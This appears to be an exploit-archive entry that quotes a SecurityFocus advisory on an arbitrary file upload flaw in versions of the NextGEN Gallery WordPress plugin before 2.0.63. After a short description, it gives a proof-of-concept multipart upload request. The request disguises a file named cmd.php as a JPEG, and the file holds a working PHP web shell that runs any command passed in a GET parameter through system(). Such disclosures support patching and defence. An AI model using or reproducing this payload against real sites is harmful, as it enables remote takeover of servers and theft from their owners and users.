source: https://www.securityfocus.com/bid/68414/info
The NextGEN Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.
Versions prior to NextGEN Gallery 2.0.63 are vulnerable.
cmd.php.jpg
-----------------------------2427186578189
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg
<HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><?
if($_GET['cmd']){
system($_GET['cmd']);}
?></pre></BODY></HTML>